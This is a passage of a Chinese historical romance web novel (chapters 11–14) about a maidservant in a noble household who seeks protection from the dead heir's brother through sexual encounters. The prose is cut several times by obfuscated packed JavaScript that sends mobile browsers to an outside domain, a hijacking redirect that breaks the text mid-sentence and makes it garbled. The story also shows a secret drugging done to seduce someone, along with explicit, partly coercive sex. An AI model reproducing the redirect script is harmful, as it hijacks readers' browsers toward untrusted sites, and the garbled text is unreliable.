高大挺拔的男人掏出明黄的圣旨,冷笑道:“夫人若是不允验尸那便是侯府违抗圣旨。” 圣旨只亮了一下便被收起,桓晏随即转身往外走,“桓氏抗旨不遵,谢氏不允验尸,即刻回宫复命。” 违抗圣旨这样的罪名谁能顶得住。 “慢着。” 谢氏挣扎着叫住他,虽悲愤交加却还有一丝理智,圣旨不可违抗,那是在给别人递刀。 “桓氏遵旨。”谢氏颤巍巍跪正领旨,而后一脸悲切地看向桓晏,“好生对他,算我求你。” 这是柳阿五第一次听到谢氏求人,那是一个母亲对自己儿子的心。 桓晏并未回头,抽了抽嘴角,冷肃道:“日子还长,夫人的乞求还是留着日后慢慢用吧。” 柳阿五抬头看他,冷峻出尘的一张脸上看不清喜怒,有一种意犹未尽贪恋的享受,浓烈的眉眼间隐隐藏着哀伤,嘴角却上扬,笑容很表面很痛苦,有一种强大又破碎无助的美。 棺椁被留下了,因为是朝廷的命令他留了轮值的亲从官日夜守护,侯府有七日置办丧仪,之后便要出殡,然后尸首就要被皇城司的人带走。 谢氏晕过去了,大夫来诊脉也直摇头,只怕会不大好了。 侯府一向由谢氏做主,现在出了这样的事情谢氏又昏迷不醒,府内的许多事无人安排打理,柳阿五也无心应承,只得同往常一样守在谢氏床边侍奉。 赖嬷嬷回去照顾儿子,听说夫人又晕了也没同往常那般急急赶来伺候,只给阿五带了句话,说她年纪大了身子不好家中事情也多,让阿五替她多担待。 阿五只冷笑没说什么。 近傍晚的时候,天气转凉,窸窸窣窣的小雨落下,谢氏喜静院子里没留人,阿五想着大公子的丧仪必定需要忙碌,让大家都去歇息,攒足了精神能撑过这七日。 烛灯点了一盏,幽幽的豆大光亮并不能驱散空气中的潮湿,斜风细雨凉爽的天气倒是很舒服。 阿五坐在圆凳上看着谢氏,这个一生要强的女人终于在儿子出事时病倒了,再强大的精神也有被压垮的一日,谢氏这一辈子最大的心结便是不得丈夫的喜爱,纵使她骄傲如孔雀掌握府中大权管理大小事宜井井有条,且将一双儿女的未来和侯府的前程都安排得妥妥当当,却终是为了让丈夫看到她的好,想看他后悔没有慧眼识珠没有好好待她。 看似独立强悍的女人,最终的希望还是在男人的认可上,阿五觉得可惜又可怜。 谢氏终究还是太不了解男人了。 兀自想着,柳阿五看到谢氏的手指似乎动了一下,将要醒了。 “你倒是孝顺。” 身后猛然响起一个声音,阿五一抖随即起身行礼,“二老爷。” 桓仲望一身酒气扑面而来,阿五下意识皱了皱眉,借着帮他倒茶的空离他远一些。 “嫂嫂还没醒过来吗。”桓仲望向床上看去,又走近几步,眼中流露出轻蔑和贪婪。 “已经派人去寻侯爷了,想来这几日便能归家。”柳阿五将茶水放在桌上,比手道:“请二老爷这边坐吧。” 毕竟这是谢氏的卧房,嫂嫂尚在病中作为小叔子即便是来探病也不该进到屏风之后,如此近距离委实不妥。 桓仲望听懂了柳阿五的意思,讪笑着挪步走出屏风之外,扬声道:“你还真是个实心眼的,老大走了你怎么办,被卖到窑子里老爷我可是要心疼的。” 疯话,酒话,柳阿五习以为常,即便他不饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“按照家规犯下此等丢尽祖宗脸面的错,桓仲望你去跪祠堂三日,府中拨给二房的用度减半半年,二老爷所有收入半年内尽数充公。” 谢氏重重地罚了他,桓仲望不服,叫嚣道:“我要见大哥,你太不近人情,难为我当年还曾帮你……” “滚,给我滚出去,再多说一个字我就请家法。”谢氏又一次呕了血。 深红的一滩,比午时那次还要多。 阿五叫人去请府医,又命人将桓仲望带去了祠堂,屋内才重新归于平静。 天色暗了下来,窗外风雨势大,吹得烛火飘摇欲灭。 府医施了针后谢氏总算平稳下来,但精神状态依旧不好,挣扎着嘱咐了几件事。 让阿五好生照料沈月棠,阿五明白这是因为她肚子里的孩子。三姑娘桓素娥的事不能耽搁,六姑娘的相看也仍继续,阿五一一点头应下。 谢氏看着柳阿五心里觉得可惜,培养调教了她十年,这便要舍弃了,又想起自己冤死的儿子,心中悲愤难忍,又哭了起来,哭得伤心了又一次咳血。 府内众人纷纷来探病,三姑娘桓素娥跪在床边只知道哭;妾室陈氏倒是乖巧地伺候着夫人进药;四公子桓明之和五公子桓安都安静地立在一旁默不作声;六姑娘桓含嫣垂眸不语,似是在想着什么;二房妾室张氏受了二夫人的眼神,也跪下来伺候大夫人谢氏。 二夫人顾氏垂泪道:“大嫂是这个家的支柱,您可得快些好起来,咱们都等着您拿主意呢。” 这话倒是不假,谢氏把着这个家死死的,旁人丝毫没有插手的余地。 谢氏缓了缓精神,道:“先由阿五替我,需日日向我禀报。” 阿五点头道是,就听谢氏又道:“我知道你是个好孩子,这辈子跟着延年是你的福气,如今这个局面也不能让你连个名分都没有。” 说完,谢氏看向众人,“今日我便做主,抬阿五做延年的正妻,以侯府少夫人的名义主持丧仪待客管事。” 11. 心机 众人皆惊,齐刷刷的眼神看向柳阿五。 “阿娘是病糊涂了吗,她一个贱婢凭什么……” 桓素娥的话被谢氏打断。 “住口,你懂什么。”又是一阵猛烈的咳嗽,谢氏拉着阿五的手看向众人,“赖嬷嬷去办阿五同延年的庚帖名册,梁伯将阿五的名讳记在族谱上,我累了,都下去吧。” 不容置喙,在众人复杂的眼神中柳阿五磕头谢恩。 这是恩吗,自然不是,给一个死了的人做正妻意味着什么,柳阿五不敢深想。 浑浑噩噩送走了众人,又将谢氏伺候好睡下,走出静怡堂的时候已近子时。 柳阿五没有撑伞,任由雨水打在自己身上,这样混在脸上的泪水就不会被发现了。 过得真快啊,柳阿五叹息,望着满是缟素的侯府,为大公子难过更为自己绝望。 这个少夫人太沉重了,沉重到要让她拿命来还吧。 正妻,大公子的正妻意味着要生同寝死同穴,这是要让她给大公子陪葬啊。 谢氏终究还是不许她活着玷污大公子的一世英名。 雨水浇灌在脸上身上,柳阿五仰头看天,黑漆漆的无边无际,没有一点光明和希望。 这一天终于还是来了,她的一生就这样结束了吗,就如同这道旁的小草,虽坚韧却仍旧抵不过任人践踏的命运,十年的屈辱就要结束了,再也不用担惊受怕了,也挺好的。 一步一步走在冰冷的雨水里,瑟缩着本就瘦弱的身子,柳阿五觉得自己筋疲力尽。 她担心了这么久,筹谋奔走了这么久,无论怎么努力依旧无法对抗命运的安排,早知如此何必白白搓磨这十年耻辱的日子,何不当年就自行了断。 或许,现在也不晚。 夜色浓稠,雨势小了许多,地面湿滑泥泞弄脏了她的绣鞋和裙摆也全然不在意,心如死灰。 “想死说一声,我可以助你。” 身后有人说话,无奈她实在太累太乏了,慢慢回头去看竟一时辨不清是谁。 雨水遮住了视线,可那冷肃无情的声音似有些耳熟。 头上被什么什么东西遮住,高大的身影近在眼前,柳阿五抬头去看,男人面色清冷居高临下,看不清表情却能感受到他如寒刃的眼神。 桓晏看着失魂落魄默默哭泣的柳阿五,将手中的油纸伞往她那处倾斜了过去。 美人本就瘦削,被雨水兜头淋透更显得孱弱可怜,苍白的面上雨水混着泪水,一双无辜的大眼睛哭得通红,颤抖的樱唇湿漉漉的,鬓发贴在巴掌大的小脸上,任谁见了都要心疼。 “二公子。”柳阿五蹲身行礼,颤颤巍巍险些摔倒。 桓晏一把扶住摇摇晃晃的她,“可还能走。” 阿五缓慢地点了点头,想要说话只觉得喉咙处似被什么东西糊住,一阵猛烈地咳嗽看着让人揪心。 “跟上。” 桓晏话音刚落,柳阿五就觉眼前一黑头重脚轻直直往泥地里栽进去,就在即将落地的一刹那一只有力温暖的手臂托住了她的腰,随即一阵头晕眼花整个身子腾空而起,便彻底失去了意识。 * 不知过了多久,莹莹烛光跃动不止,晃得柳阿五睁开了眼。 自己躺在一张陌生的床上,雕花紫檀床架帐帘是浅淡的灰色配墨蓝色,无任何装饰和绣花,素雅清淡得有些过了。 刚刚想要起身就被桓晏制止了,“你没穿衣服。” 他就坐在距离阿五不远的竹摇椅上,修长的双腿交叠,一件简单的浅灰色长衫,墨发束起带白玉束冠,显得整个人清冷娴雅,颇有几分文人的书卷气。 但说出来的话太过直白,让阿五猛然清醒。 瞬间恢复了意识,她这才清晰地感受到皮肤接触衾被的柔软,自己不着寸缕正光溜溜地躺在被子里。 那一瞬间脑子里嗡嗡直响,她努力回忆先前发生了什么,自己为什么会躺在这里,为什么会不穿衣服…… 一片混乱想不明白。 “是我给你脱的衣裳。” 那人仿佛看出了她的疑惑,云淡风轻道,“又不是没看过。” 五雷轰顶面颊发热,柳阿五恨不能就地晕死过去。 小娘子又羞又恼不知所措的表情落在桓晏眼里,只扫一眼轻轻垂眸,嘴角微微翘起。 “主子,姜太医到。”昌平在门外禀报。 “请。”桓晏起身走向柳阿五,随手将床上的纱帘放下,“乖乖听话。” 这句话是冲着柳阿五说的。 片刻后隔着一层朦胧的视线,柳阿五看到了一位年约四十左右的男人进门,朝桓晏行了礼便走过来坐在床榻边,也不言语默默拿出一块白绢帕道:“请贵人脉。” 柳阿五怔愣,她的身子她自己最清楚,不需要请大夫更不需要兴师动众请来太医。 刚要反驳就见桓晏的大手已然伸进帐子里,来不及反应,纤细的手腕被他抓住不由分说拖出帐子。 姜太医垂眸将白绢帕搭在柳阿五的腕上,屋内静默落针可闻,偶有烛火筚拨声响。 片刻后姜太医收回手,道:“姑娘身子亏空的太多了,体虚寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859821|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 症需慢慢调理,并且要多走动锻炼,天气好的时候晒晒太阳,再配上补药,如此也要调养两三年才能见效,否则……” 姜太医迟疑了片刻,看着桓晏道:“否则将难孕育子嗣。” 桓晏比手请姜太医去外间开药方,只留下帐帘里羞红了脸的柳阿五。 孕育子嗣她从未想过,也不在乎,谢氏让她喝了十年的药,虽不知那是什么阿五倒也没拒绝过,这副身子她早已不在乎,只想完成心愿了无牵挂地死去。 “主子,仵作到了。”门外昌平的声音响起,随即便是桓晏离开的脚步声。 仵作,验尸? 不是说七日丧仪之后才验尸吗。 “阿五姑娘,药送来了。”门外昌平提高了音调,紧跟着便进来一个面生的小婢女端着药碗跪在她的床边。 “昌平。”阿五怕他走了,忙叫住昌平,“二公子去哪里了。” “是有一点小事……”昌平不好意思地挠了挠头,“姑娘先休息吧。” 应当是不方便说,阿五点头并不为难他。 “不过……” 昌平犹豫道:“等主子忙完姑娘可以过去。” 算是熟人之间的一点情意,昌平给她透了消息。 阿五感激,眼中泛起希望。 桓晏是她手里唯一的救命稻草,她必须死死抓住这个人争取搏出一线生机。 “你等我一下。”柳阿五裹着衾被吩咐小丫头,“去帮我找套衣衫过来。” “公子已经帮姑娘准备好了。”小丫头呈上一托盘,上面是一套孝衣。 是啊,大公子的丧仪她作为未亡人应当穿孝衣的。 套上衣裳柳阿五奔到房门口,昌平背对着房门站在距离门口三丈开外的地方,发现她出来了,这才道:“主子此刻在正殿东耳房内,大公子丧仪的消息放出去,来吊唁的宾客多起来,主子得应酬。” 阿五点头,正琢磨着找个什么借口过去找他,就听昌平压低声音道:“他忙到现在还未进晚食。” 阿五眼睛一亮,“那我这便去灶房做几道小菜给二公子送过去可好。” 昌平笑了笑,“倒也不必如此麻烦,灶房已经做好饭菜了,都是他爱吃的。” 说完,昌平看了她一眼,“若是姑娘愿意送晚食过去,那便再好不过了,刚好我身上还有要务走不开。” “多谢。”阿五忙应承下来,赶紧向昌平行礼道谢,“我收拾一下就过去。” 昌平行礼退出,望着天长长地吁出一口气,主子如此大费周章不还是得吃饭。 12. 欺负 入夜,春寒料峭,府内安静下来,除了留守值夜的以外,其他人都歇下了。 灵堂设在议事厅,两旁各有一间耳房,西侧耳房用来轮值休息,东侧耳房用来临时处理事情。 桓晏此刻就坐在东耳房中,透过烛灯映照在窗纸上的人影,阿五看到他正提笔书写。 大公子去了,桓晏现在是侯府的长子,理应一切事宜拿主意做决定,虽谢氏不喜却也无法。 这便是谢氏让阿五替她管家的原因,是要拿着她这把利剑刺向桓晏,和侯爷作对,至于阿五,一个工具而已,用完便可以扔了。 不对,似乎哪里对不上,谢氏的心思绝没这么简单。 夜深人静,阿五端着参汤和晚食边走边琢磨,却好像怎么都差了一步却又想不出究竟是哪里出了问题,直到人已经站在了东耳房的门口,这才敛神。 门虚掩着,房间里烛灯燃得很亮,桓晏专注地在看着什么,案桌上堆了两摞卷宗,狼毫笔放在笔山上,有些干涸,茶盏里的茶水已饮尽,安安静静,只能听到夜风翻阅纸张的声音。 阿五没有打扰他,就静静地站在门口。 桓晏抬头,看到了一身孝衣的柳阿五。 瓷白的肌肤红润的樱唇,双眸炯炯又含着怯怯的春光,头上戴着孝帽很大,遮住了她的披散下来的长发,衣裳很合体,修饰着她藏不住的玲珑曲线,胸前圆润饱满,因紧张而微微起伏着。 要想俏一身孝,素白不作修饰的装扮果然越发衬得美人清水芙蓉、玉洁娇俏。 “二公子。” 对上男人的视线,柳阿五这才推门而入,走到他案桌旁,将手中的托盘放下,素手缓慢而优雅地从白瓷盏盛出羹汤递到他面前。 桓晏没有着孝衣,他有公职在身穿得依旧是皇城使得朝服。 “二公子操劳辛苦,厨房准备了饭菜,这是我亲手熬的参汤,先用一碗补补身子吧。” 参汤是用百年老参和母鸡熬制而成,阿五在里头放了一些旁的东西。 “嫂嫂——”他改了口,双眸冷冷地凝视着她故意拉长音调,“有心了。” 柳阿五红了耳根拼命摇头,“不,我不是,我不愿。” 泪水夺眶而出,樱唇止不住地颤抖着,阿五递上碗盏,“还请二公子莫要开这种玩笑,这是要了阿五命的。” 桓晏不语伸手接过参汤,男人的手指粗粝,不经意划过她柔嫩的手背,留下酥酥麻麻的一片微微发热,柳阿五下意识蜷缩了一下。 看着他默默喝完了参汤,阿五越发紧张起来,沁满汗水的双手接过他手中的空碗一不留神白瓷落地,破碎零落。 桓晏想要伸手去捡,却被阿五拦住,“二公子莫动,仔细伤了手,我来就好。” 美人蹲身在桓晏腿旁,手中的绢帕铺开,白嫩的手指仔细捡起地上的碎瓷,泼墨般的长发披散在身后,因弯腰弓身而滑落胸前,随着傲人的曲线弯折。 孝衣单薄,因临时赶制而成细节处并不十分妥帖,她胸前微微隆起空处,自上而下大好春色一览无余,桓晏稍稍一愣,别过视线。 阿五却看到他那处的反应,男人的本能健康而蓬勃。 窗外雷声隆隆,冷风透过窗子吹进来,烛火跃动不止。 柳阿五蹲在地上捡得仔细,雪白的绢帕承托着破碎的白瓷,瓷质细滑釉面莹润,待她起身时桓晏看到了那白色绢帕上的一点殷红,像极了那一晚她留下的印记。 “你的手……”他开口,喉咙紧绷声音有些沙哑。 “无碍,不小心划到而已。”柳阿五浑然不觉,整理好碎瓷才抬眸看他,“大公子的尸首损伤得严重吗。” 那样一个端方君子,若是知晓身后惨不忍睹该何等难堪痛苦,阿五心下不忍。 桓晏抬头看她,美人清澈的眸中透出隐忧和伤感,她在为他难过。 “怎么,心疼了?” 面前的男人眸色不似方才那般清亮,瞬间变得深邃如漆,阿五一惊。 他总是这样,说变脸就变脸,生气得毫无理由更无征兆,前一刻还似温柔郎君,翻脸就成了要吃人的猛兽。 桓晏的阴晴不定喜怒无常着实让柳阿五摸不着头脑,不晓得自己哪句话得罪了他,又惹得他不快。 “大公子是我的主子,自然……” “倒是知恩图报。”他打断了她的话,起身站到她面前。 桓晏是武将出身,身材高大壮硕,平日远远看着就觉得魁梧结实,这般近距离看上去,越发被他强大的压迫感逼得瑟缩紧张起来。 “既如此感恩于他,还来寻我做甚。”冷冰冰的声音自头顶传来,“嫂嫂此刻不是应该跪在大公子面前痛哭流涕,作为遗孀……” “我只是个丫头。”他话未说完就被阿五厉声打断。 美人柔弱,连说话都是轻声细语的,此刻却陡然提高音调,对上他投过来的目光时却又低着头避开他的视线。 “我不是少夫人,更当不起二公子的嫂嫂,我只是个丫头,和大公子清清白白的丫头,我不愿也不会做他的正妻,我来是求二公子信守诺言,否则,阿五宁愿一死也不会让自己的名讳出现在桓氏的族谱上。” 这是她第一次在桓晏面前露出强硬的态度,赴死的决心不容置疑,美人气血上头面色发红,细看下眸中同仁微微颤抖着,欲哭无泪。 “既如此……”桓晏点头,“你可想好了。” 他说这话真是没有良心,他是如何横冲直撞地要了她,难道他都忘记了吗,丝毫不懂怜惜,每次都作弄得阿五肿痛了好几日。 现在却来调侃她,反复试探她的决心。 若不是想要求生,她才不会找上这样的阎王爷。 “我心已决。”阿五气得咬牙,直视桓晏冷声逼问,“我究竟是谁的女人,二公子真的不晓得吗,一声嫂嫂是在羞辱我吗。” 美人真的生气了,泪盈于睫咄咄逼人,哀戚戚的小脸上尽是委屈、无奈和愤恨。 她是个柔弱的女子,性子软身子更软,即便是受了委屈也不会强烈的反击,只会默默哭泣而后软软嗔一句:“作何如此待我?” 能如此,想来是真的急了。 桓晏不语,垂眸想着什么。 柳阿五从小被谢氏调教得善于察言观色,对于男子的眼神、表情、身体的变化了如指掌。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859822|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们爱听什么,爱看什么,爱玩什么,阿五深谙此道。 方才那句话便是她攻势的起始,她不想再被动乞求,然她的攻击从来都是绵软柔弱的,无形无影中绕指柔化金刚杵。 “我想活命,求二公子救我。”她从来都不隐藏自己的目的,很单纯很坦率。 泪水涟涟,滚落面颊,眼眶鼻头泛起诱人的粉色,美人哭起来都是好看的。 小小女子,当不了自己的家,就只能靠别人存活于世,她从不隐藏自己的欲求,连算计都这样直接摊在他的面前。 对于柳阿五的处境,桓晏心知肚明。 十年了,她依旧胆小爱哭,软弱好欺。 “我害怕。” 见桓晏没有反应,柳阿五张开双臂抱住他的劲腰,此刻她又是温柔无助的。 桓晏很高大,身子如铜墙铁壁般硬邦邦的,阿五已经领教过了,尤其那处。 女子柔软的身子贴在他的胸前,鼓囊囊软绵绵的,让人忍受不住。 桓晏伸出手抓住她细小的圆肩,想要推开她,谁知用力过猛推得美人颤悠悠摇摇欲坠,胸前雪峰呼之欲出,面色瞬时泛起不自然的潮红。 “啊,嗯。”她忍不住喊出声,越发让他浑身紧绷起来。 “好痛。”柳阿五忍着泪水动弹不得。 好像是真的弄疼她了,桓晏松了手劲,“哪里痛?” 泪水是被忍着的,可是还是没忍住,啪嗒啪嗒砸在男人的手背上,却烫到了他的心里。 “不严重,只是有一点点不舒服。”阿五抬起手想要扶自己的细腰,却因太过疼痛手臂抬不上去。 都疼得掉泪了,她竟还在安慰他,桓晏蹙眉,这样的女子哪个男人见了不想欺负。 桓晏的手轻轻按在她的细腰上,他手掌很大,可以把过来她整个腰肢,他的手也很暖,就这样轻轻揉捏,柳阿五就已经觉得腰部带着整个人都发起热来。 痒痒酸酸的感觉,如触电般一路麻到头顶、四肢、肺腑…… 随着桓晏力道的逐渐加大,美人的娇喘声也在耳边绽放,她闭上了眼享受那种在生死边缘徘徊的酣畅。 “我记得你。” 桓晏靠近她一步的时候,柳阿五的朱唇轻触他的耳垂,“我入侯府的第一年,你还在府里。” 桓晏的手顿了一下,没想到她竟还记得。 “那你记得什么。”他问,耳垂湿黏发痒,顺势将女人按进自己怀里。 阿五蹙眉,忍受着被作弄的酸胀感,努力回想谢氏曾经的那些话。 当然,她自己根本不可能记得。 “你总是欺负我。”她声音断断续续,喘息声也越来越大。 “什么。”他问,温润的唇落在她白皙的颈窝里。 “你……欺负我。”阿五的声音更小了,身子已经软成了一汪春水。 “谁,说清楚。”他穷追不舍,步步紧逼。 “你,你……我。”神志不清,语焉不详。 烛灯下,桓晏冲破自己的防线,“滋啦”一声撕破了她的衣裙,只留了白色的孝帽戴在她的头上,面前的美人如花朵般一般再一次向他盛放。 13. 听话 烛火摇曳,香气扑鼻。 身下是软软的褥垫,触手可及锦缎的丝滑和微凉,阿五晕晕乎乎好像知道自己在哪又好像不知,几次逼迫自己睁开眼想要看个清楚却怎么也做不到。 眼皮沉重头脑发懵,整个人酸软无力,只想这样躺着沉沉睡去。 梦中有人撩拨她额前的碎发,略有些粗粝的手指摩挲着她细嫩柔软的脸颊,痒痒的却挺舒服。 她太累了,又怕又累提心吊胆,这样的日子不知还能撑多久。 脑子里一会儿是夫人谢氏狰狞的面孔,一会儿是大公子温柔细语的叮嘱,一会儿又是敬王府阴森恐怖的后院……这会儿换成了桓晏的脸。 眉眼清俊精致,双眸深邃,薄唇轻启似乎在唤她的名字,不对,那不是她的名字,他喊得是——娇娇。 柳阿五再一次睁开眼睛的时候正躺在榻上,深夜微凉,她身上盖着一件墨色锦袍,上面有淡淡的蔬果清香。 视线逐渐聚焦,男人高大的身影挡住了摇曳的烛火,桓晏正坐在她的睡榻旁手里端着一个碗,他穿戴整齐面色红润,嘴角微微上扬,浓烈的眉眼中淬着光,正一瞬不错地看着她。 阿五彻底醒了,看到他衣衫上的些许潮湿,哑声问:“你出去了。” “去拿了一件重要的东西。”他的声音听起来有些不太一样,好像轻快了些。 阿五没有追问,扶着腰坐起身,桓晏适时在她腰下垫了软枕,阿五接过碗道了谢,碗里是黑漆漆的汤药。 “喝了它。”桓晏起身退后几步拿了巾帕拭去衣衫外浮着的雨珠。 阿五也不多问一饮而尽,避子而已她早习以为常饮下各种汤药,对于苦涩的味道熟悉又麻木。 她的爽快似乎有些出乎桓晏的意料,望向她的眸中恍惚泛起一丝波澜,转瞬即逝。 “外面又落雨了。”阿五感慨一句,再看看窗外熹微的晨光,那样狠狠地折腾了一宿,他竟然丝毫不见倦意,这么一大清早竟已经出去一趟回来了。 一碗热热的汤药下肚身上微微出了一层薄汗,阿五的眼皮又开始打架,不自觉打了个哈欠。 好想再睡一觉。 “卖力气的是我,怎么反倒你累得狠。” 他盯着她看,眼中尽是调侃的意味。 猝不及防的一句让阿五立时红了脸,低着头躲避他的视线睡意全无,两只小手紧紧捏着那件墨色衣袍,冰冰凉凉的料子被捏得皱在一起。 小小的姑娘害羞起来缩成一团,白玉无瑕的小脸染上一抹红霞,水汪汪亮晶晶的大眼睛闪烁着躲避他的目光,好像马上就要哭出来似的。 她真是个胆大又胆小的女子,对他有所求时那样放肆大胆地引.诱,现在不过被嘲弄两句竟害羞得哭出来。 有趣得紧。 桓晏笑了一下,刚好被转过头来的柳阿五看到。 这是她第一次看见桓晏笑,原来他笑起来会有两个小酒窝,明媚有一点可爱,像早晨初升的太阳,温暖灿烂,与平素那个冷若冰霜的皇城使判若两人。 桓晏的笑转瞬即逝,快得让柳阿五觉得自己是不是恍惚看花了眼。 倏然,桓晏逼近眼前俯下身子在阿五面前挑眉道:“记住,公子我行得很,日后不必加料也能让姑娘餍足。” 竟被他发现了。 那是她担心桓晏不上钩特意准备了一些令人忘乎所以的药。 被识破了的尴尬和被逗弄的羞涩席卷而来,阿五张了张嘴下意识盯着他深邃的瞳仁看了又看,确定桓晏没有真生气后才默默点了点头,一张小脸红得滴血。 桓晏起身从腰间摸出一个白色的小瓷瓶塞进柳阿五手里,又一次附耳道:“记得涂一下你的身子,细皮嫩肉的落了疤痕不好看。” 她身上还残留着桓晏上一次留下的痕迹,男子力道实在太大,柳阿五身上青一块紫一块,尤其是那纤细的腰上,细看下简直惨不忍睹。 可是,那样的地方谁会看到,他这样说是什么意思,是暗示她会被很多人…… 明明昨夜颠鸾倒凤之时已经答应会救她,现在这是要反悔吗,若他真的反悔阿五又该怎么办呢。 阿五觉得委屈,难道自己倾尽所有压的唯一赌注也失败了吗,难道命该如此吗。 桓晏的话一瞬间触及到了柳阿五即将崩断的心弦,憋闷已久的小娘子终于在一句寻常调侃的话语里爆发了。 美人跪坐在床榻上娇小柔弱的身子一抖一抖地啜泣着,那张原本因羞涩泛起红晕的小脸逐渐发白,樱唇颤抖,泪眼婆娑地瞪着他。 “什么叫不好看,二公子的意思是我会被人看了去吗。”阿五愤恨咬牙抹泪,“做了这正妻我便要给大公子陪葬,不做这正妻我便是丫头,转手就被人糟蹋发卖。” “若是入了那污脏之地这样一身欢爱印记被人看了去,会被嫌弃是吗。” “那我该怎么办呢,这岂不是会影响我柳阿五做头牌的前程,二……” 美人方才还娇羞软弱,转瞬间因为他的一句话风声鹤唳痛哭不止,桓晏抿唇不语。 想来她是被吓怕了。 “左右是个死,不如今日二公子就给我个痛快。”阿五狠狠抹去脸上的泪水,拢上衣裳朝着桓晏狠狠磕头。 瘦小的身子被大手拦住,桓晏握住她单薄的小圆肩,“你不会死。” 面前的美人梨花带雨,一双清澈的大眼睛狠狠瞪着他,眼底充满了委屈和绝望。 “你可以走。”桓晏生咽了一口唾沫,“离开这里。” “不,我不能走。”小娘子拒绝得斩钉截铁毫不犹豫。 通红的双眼泛红的鼻头,哭得委屈可怜的小脸上是桓晏从未见过的决绝坚定的神情。 “我要留下来,还有事未做完。”美人垂首不欲多说。 屋内燃着烛火,窗外飘着细雨,清冷的早晨连空气都是冰冰凉凉的,正如当下柳阿五的心,冰冷尘封中只有那一豆火苗坚强燃烧。 桓晏并未多问,只点了点头道:“好,那我帮你,你只需——听话便是。” “二公子要如何帮我。”阿五乘胜追击想要知道他的计划。 “不要多问。”桓晏的声音恢复了冷肃无情,眼神在她脸上游移,“你当信我。” 本想反败为胜能套出他的话,没想到他如此严防死守,阿五又一次失败了,她讨厌被动地毫不知情地听命,那种无法掌控自己命运的感觉实在太熟悉太没安全感了,她过够了那样的生活。 “不是不信。”阿五垂眸,敛去怒气戚戚轻叹一声,“我知二公子亦有为难之处,若是举手之劳或许你会帮我,可若是需要大费周章甚至会影响你的谋划,我想……” 她顿了顿,“我没有自信,您为了我会不嫌麻烦不怕得罪人。” 这是句实话,柳阿五说得亦很真诚。 桓晏不语,转身走回到案桌前提笔写字,似乎没有同她讨价还价的意思。 阿五无奈,心里默默叹气,这人实在太难对付了。 屋中安静,他神情专注,握笔书写的姿势极潇洒,看得柳阿五出了会儿神,待他收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“二公子叫奴婢过来伺候……姑娘。”珍珠接过小瓷瓶帮她上药,颇有些哀怨道:“如今该称一句少夫人了,可是奴婢不愿。” 阿五心中安慰,“好珍珠还是你了解我,咱们如从前一般便是,放心。” 珍珠看着她重重点头,又将她全身细细涂抹过一遍,阿五觉得舒服了许多,忽闻外间脚步声由远及近,还未来得及穿衣,桓晏便又回来了。 她坐在床榻上,保持着方才他离开时的姿势,只手里那件黑色锦袍被攥得更紧了。 美人惊慌花容失色,瞳仁微颤薄唇轻启,一张小脸因害怕涨得通红,一副受到惊吓的样子。 她真的是受惊过度了,桓晏想起了方才那句无心之言却能让她心惊胆战,握拳的手紧了紧,从一旁架子上拿过她的衣衫。 “天快亮了,你该去扮演好你的角色了。” 他斟酌着用词,小心避开了能让她再次崩溃的字眼。 阿五抬眸不明所以地看着他,又看了看他手里的孝衣,“我自己穿……” 桓晏躲过她从锦衣里伸出的手臂,雪白细嫩如新生莲藕。 二人一个跪坐在榻上一个直挺挺站在榻边,桓晏居高临下看着她,美人泪盈于睫红唇轻启,柔弱无骨的身子绵软细腻,乌发披散在脑后,因他的调侃而气愤地柳眉紧锁,清泠泠的双眸中透着可怜和愤怒的情绪,即便是这样刚刚被他折腾过依然美得让人挪不开眼。 “听话,我帮你穿衣。” 14. 当众 “过来。”桓晏的声音听上去比方才温柔了些许。 见阿五怔愣不动,索性伸出手拉着她的臂膀将人虚虚圈进怀里。 “不,我不……”阿五反抗,可无奈力气太小,根本无法撼动他铁钳一样的双手。 “我自己可以。”阿五红着脸拒绝,拼命攥紧那件一直披在自己身上的锦袍,好似救命稻草般说什么都不肯松手。 “你要学会听话。”桓晏坚持,话语轻飘飘手上也毫不费力。 可是小娘子亦是倔强,嘟着嘴皱着眉眼神坚定地盯着前方,两只手紧紧攥住那件墨色锦衣,大有抵抗到底的决心。 桓晏居高临下,在她看不见的地方微微弯了下唇,随即敛去神色,冷声道:“这是我的官服,弄得皱了是大不敬之罪。” 阿五怔愣,下意识去看那件锦衣。 丝绸质地滑润冰凉,上绣龙虎暗纹,材质上乘做工细腻好像真的是……脑子里还在思索,手上的锦袍倏然被人抽走,柳阿五赤裸裸跪坐在那里。 “啊。”美人惊叫,下意识捂住关键部位。 才闭上眼身上就被罩住,尴尬羞涩不过一瞬,桓晏已经为她系上了小衣的系带。 正是她亲手送到他手里的那件绣交颈鸳鸯的小衣。 鲜红的绸缎衬得阿五雪白的肌肤越发娇嫩细腻。 